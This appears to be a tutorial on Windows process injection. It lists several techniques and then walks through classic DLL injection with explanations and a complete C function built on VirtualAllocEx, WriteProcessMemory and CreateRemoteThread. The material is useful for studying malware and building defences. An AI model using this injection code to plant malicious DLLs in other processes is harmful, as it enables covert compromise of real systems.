Process Injection
Different methods of injection
Self-injection
Used commonly in malware unpackers, although sometimes found in malware trying to keep everything inside one process (Gootkkit)
Remote process injection
Very common in malware, from script-Kiddie to APT level. Multiple different techniques, with different levels of sophistication.
Different Methods of Remote Process Injection
-
DLL Injection: Executes malicious DLL inside of the remote process.
-
PE Injection: Executes binary/shellcode inside of the remote process
-
Process Hollowing: Executes a process and suspends it, overwrites the process in memory with malicious code, and resume the process.
-
Process Doppelganging: Overwrites an executable content with malicious code, loads executable, and executes from memory.
-
EarlyBird/APC Injection: Uses Asynchronous Procedure Calls to execute malicious code in another thread.
-
API Hooking: Hooks API inside of remote process to execute malicious code when API called.
-
PROPagate Injection: Injects code into Process by taking advantage of the way Windows subclasses its window events
So Let’s dive into every single one of them.
DLL Injection
HOW IT WORK:
DLL injection is a technique where a program inserts code, typically from a Dynamic Link Library (DLL), into a running process. This can be used for legitimate purposes or malicious ones.
In the malicious scenario, the program allocates a small amount of memory within the legitimate process to hold the path to the malicious DLL.
It then writes this path into the allocated memory. Next, the malicious program creates a new thread inside the legitimate process. This thread tricks the legitimate process into loading the malicious DLL by calling a specific Windows function named LoadLibrary()
and passing the path retrieved from the allocated memory.
Once loaded, the malicious code within the DLL becomes part of the legitimate process. This grants the attacker potential access to the process’s resources, data, or the ability to inject further malicious code.
Recognizing API:
To inject the DLL into the target process which will require the use of several Windows APIs that were previously used and some new ones.
VirtualAllocEx
- Similar to VirtualAlloc
except it allows for memory allocation in a remote process.
WriteProcessMemory
- Writes data to the remote process. In this case, it will be used to write the DLL’s path to the target process.
CreateRemoteThread
- Creates a thread in the remote process
OpenProcess()
- This function opens an existing process object and returns a handle to that process for subsequent access
WaitForSingleObject()
- This function waits until the specified object is in the signaled state or the time-out interval elapses.
GetProcAddess()
- retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).
InjectDllToRemoteProcess
takes two arguments:
Process Handle - This is a HANDLE to the target process which will have the DLL injected into it.
DLL name - The full path to the DLL that will be injected into the target process
PROCESSENTRY32:
Once the snapshot is taken, Process32First
is used to get information for the first process in the snapshot. For all the remaining processes in the snapshot, Process32Next is used.
Microsoft’s documentation states that both Process32First
and Process32Next
require a PROCESSENTRY32 structure to be passed in for their second parameter. After the struct is passed in, the functions will populate the struct with information about the process. The PROCESSENTRY32
struct is shown below with comments beside the useful members of the struct that will be populated by these functions.
Find LoadLibraryW Address:
To load a DLL into a remote process, LoadLibraryW
cannot be directly invoked from the local process.
Instead, the address of LoadLibraryW
must be obtained and passed to a remotely created thread within the target process, along with the DLL name as its argument.
This approach relies on the fact that the address of the LoadLibraryW
WinAPI remains consistent across processes. To retrieve the address of the WinAPI, GetProcAddress
is utilized in conjunction with GetModuleHandle
.
The address stored in pLoadLibraryW
will be used as the thread entry when a new thread is created in the remote process.
// LoadLibrary is exported by kernel32.dll
// Therefore a handle to kernel32.dll is retrieved followed by the address of LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
Allocating Memory:
The subsequent step involves allocating memory within the remote process to accommodate the DLL’s name, referred to as DllName. This allocation is accomplished using the VirtualAllocEx function, specifically targeting memory allocation within the remote process.
// Allocate memory the size of dwSizeToWrite (that is the size of the dll name) inside the remote process, hProcess.
// Memory protection is Read-Write
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Writing To Allocated Memory:
After successfully allocating memory in the remote process, the WriteProcessMemory
function is employed to write the DLL’s name into the allocated memory buffer. This function enables data to be written directly into the memory space of the remote process.”
As for the documentation of WriteProcessMemory
, here’s an example of how it could be presented:
BOOL WriteProcessMemory(
[in] HANDLE hProcess, // A handle to the process whose memory to be written to
[in] LPVOID lpBaseAddress, // Base address in the specified process to which data is written
[in] LPCVOID lpBuffer, // A pointer to the buffer that contains data to be written to 'lpBaseAddress'
[in] SIZE_T nSize, // The number of bytes to be written to the specified process.
[out] SIZE_T *lpNumberOfBytesWritten // A pointer to a 'SIZE_T' variable that receives the number of bytes actually written
);
Using the parameters outlined in the signature of WriteProcessMemory
as shown above, the function is called in the following manner: it writes the buffer containing the DLL’s name (DllName) to the allocated address (pAddress), which was returned by the preceding call to VirtualAllocEx
.
// The data being written is the DLL name, 'DllName', which is of size 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)
Execution Via New Thread:
After successfully writing the DLL’s path to the allocated buffer, the CreateRemoteThread
function is utilized to create a new thread within the remote process. At this stage, the address of LoadLibraryW
becomes essential. The pointer to LoadLibraryW
(pLoadLibraryW) serves as the starting address of the thread, while the pointer to the allocated buffer (pAddress), containing the DLL’s name, is passed as an argument to the LoadLibraryW
call. This is achieved by passing pAddress as the lpParameter parameter of CreateRemoteThread
.
The parameters of CreateRemoteThread
are analogous to those of the CreateThread
WinAPI function explained earlier, with the addition of the HANDLE hProcess
parameter, representing a handle to the process in which the thread is to be created
// The thread entry will be 'pLoadLibraryW' which is the address of LoadLibraryW
// The DLL's name, pAddress, is passed as an argument to LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
DLL Injection - Code Snippet
BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
// fetching the size of DllName *in bytes*
DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
SIZE_T lpNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL){
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] pAddress Allocated At : 0x%p Of Size : %d\n", pAddress, dwSizeToWrite);
printf("[#] Press <Enter> To Write ... ");
getchar();
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite){
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[i] Successfully Written %d Bytes\n", lpNumberOfBytesWritten);
printf("[#] Press <Enter> To Run ... ");
getchar();
printf("[i] Executing Payload ... ");
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE !\n");
_EndOfFunction:
if (hThread)
CloseHandle(hThread);
return bSTATE;
}